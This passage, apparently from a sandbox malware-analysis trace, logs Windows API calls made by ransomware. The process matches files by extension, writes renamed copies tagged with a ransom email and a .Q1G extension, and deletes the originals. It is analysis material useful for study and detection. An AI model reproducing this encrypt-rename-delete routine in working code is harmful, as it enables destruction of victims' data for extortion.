lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString=".7z") returned 3 [0247.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".dbf") returned 4 [0247.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".1cd") returned 4 [0247.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".jpg") returned 4 [0247.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".doc") returned 4 [0247.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString=".docx") returned 5 [0247.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.988] lstrlenW (lpString=".pdf") returned 4 [0247.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString=".xls") returned 4 [0247.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.988] lstrlenW (lpString=".xlsx") returned 5 [0247.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.988] lstrlenW (lpString=".ppt") returned 4 [0247.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.988] lstrlenW (lpString=".zip") returned 4 [0247.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.988] lstrlenW (lpString=".rar") returned 4 [0247.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString=".bz2") returned 4 [0247.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString=".7z") returned 3 [0247.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.988] lstrlenW (lpString=".dbf") returned 4 [0247.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.988] lstrlenW (lpString=".1cd") returned 4 [0247.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.988] lstrlenW (lpString=".jpg") returned 4 [0247.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.988] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.988] lstrlenW (lpString="DD01160_.WMF") returned 12 [0247.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.999] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2228) returned 1 [0247.999] CloseHandle (hObject=0x360) returned 1 [0247.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0248.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.001] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.001] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.002] GetLastError () returned 0x0 [0248.002] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8b4, lpOverlapped=0x0) returned 1 [0248.004] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0248.006] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.006] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.006] SetEndOfFile (hFile=0x338) returned 1 [0248.006] CloseHandle (hObject=0x338) returned 1 [0248.006] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.006] SetEndOfFile (hFile=0x360) returned 1 [0248.008] CloseHandle (hObject=0x360) returned 1 [0248.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString=".doc") returned 4 [0248.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString=".docx") returned 5 [0248.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.009] lstrlenW (lpString=".pdf") returned 4 [0248.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString=".xls") returned 4 [0248.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.009] lstrlenW (lpString=".xlsx") returned 5 [0248.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.009] lstrlenW (lpString=".ppt") returned 4 [0248.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString=".zip") returned 4 [0248.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.009] lstrlenW (lpString=".rar") returned 4 [0248.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString=".bz2") returned 4 [0248.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString=".7z") returned 3 [0248.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString=".dbf") returned 4 [0248.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString=".1cd") returned 4 [0248.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.009] lstrlenW (lpString=".jpg") returned 4 [0248.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString=".doc") returned 4 [0248.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString=".docx") returned 5 [0248.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.010] lstrlenW (lpString=".pdf") returned 4 [0248.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString=".xls") returned 4 [0248.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.010] lstrlenW (lpString=".xlsx") returned 5 [0248.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.010] lstrlenW (lpString=".ppt") returned 4 [0248.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString=".zip") returned 4 [0248.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.010] lstrlenW (lpString=".rar") returned 4 [0248.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString=".bz2") returned 4 [0248.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString=".7z") returned 3 [0248.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString=".dbf") returned 4 [0248.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString=".1cd") returned 4 [0248.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0248.010] lstrlenW (lpString=".jpg") returned 4 [0248.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.011] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.011] lstrlenW (lpString="DD01162_.WMF") returned 12 [0248.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.012] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2300) returned 1 [0248.012] CloseHandle (hObject=0x360) returned 1 [0248.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0248.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.013] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.013] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.013] GetLastError () returned 0x0 [0248.014] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0248.037] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x900, lpOverlapped=0x0) returned 1 [0248.038] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.038] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.038] SetEndOfFile (hFile=0x338) returned 1 [0248.038] CloseHandle (hObject=0x338) returned 1 [0248.038] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.038] SetEndOfFile (hFile=0x360) returned 1 [0248.041] CloseHandle (hObject=0x360) returned 1 [0248.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0248.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.041] lstrlenW (lpString=".doc") returned 4 [0248.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.041] lstrlenW (lpString=".docx") returned 5 [0248.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.041] lstrlenW (lpString=".pdf") returned 4 [0248.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString=".xls") returned 4 [0248.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.042] lstrlenW (lpString=".xlsx") returned 5 [0248.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.042] lstrlenW (lpString=".ppt") returned 4 [0248.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString=".zip") returned 4 [0248.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.042] lstrlenW (lpString=".rar") returned 4 [0248.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString=".bz2") returned 4 [0248.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString=".7z") returned 3 [0248.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString=".dbf") returned 4 [0248.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString=".1cd") returned 4 [0248.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString=".jpg") returned 4 [0248.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.042] lstrlenW (lpString=".doc") returned 4 [0248.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString=".docx") returned 5 [0248.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.042] lstrlenW (lpString=".pdf") returned 4 [0248.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.042] lstrlenW (lpString=".xls") returned 4 [0248.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.042] lstrlenW (lpString=".xlsx") returned 5 [0248.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.042] lstrlenW (lpString=".ppt") returned 4 [0248.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.043] lstrlenW (lpString=".zip") returned 4 [0248.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.043] lstrlenW (lpString=".rar") returned 4 [0248.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.043] lstrlenW (lpString=".bz2") returned 4 [0248.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.043] lstrlenW (lpString=".7z") returned 3 [0248.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.043] lstrlenW (lpString=".dbf") returned 4 [0248.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.043] lstrlenW (lpString=".1cd") returned 4 [0248.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0248.043] lstrlenW (lpString=".jpg") returned 4 [0248.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.043] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.043] lstrlenW (lpString="DD01163_.WMF") returned 12 [0248.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.044] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2300) returned 1 [0248.044] CloseHandle (hObject=0x360) returned 1 [0248.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0248.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.044] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.044] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.045] GetLastError () returned 0x0 [0248.045] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0248.089] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x900, lpOverlapped=0x0) returned 1 [0248.090] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.090] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.090] SetEndOfFile (hFile=0x338) returned 1 [0248.090] CloseHandle (hObject=0x338) returned 1 [0248.090] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.090] SetEndOfFile (hFile=0x360) returned 1 [0248.094] CloseHandle (hObject=0x360) returned 1 [0248.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0248.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.305] lstrlenW (lpString=".doc") returned 4 [0248.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.305] lstrlenW (lpString=".docx") returned 5 [0248.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.306] lstrlenW (lpString=".pdf") returned 4 [0248.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString=".xls") returned 4 [0248.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.306] lstrlenW (lpString=".xlsx") returned 5 [0248.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.306] lstrlenW (lpString=".ppt") returned 4 [0248.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.306] lstrlenW (lpString=".zip") returned 4 [0248.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.306] lstrlenW (lpString=".rar") returned 4 [0248.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString=".bz2") returned 4 [0248.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString=".7z") returned 3 [0248.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.306] lstrlenW (lpString=".dbf") returned 4 [0248.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.306] lstrlenW (lpString=".1cd") returned 4 [0248.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 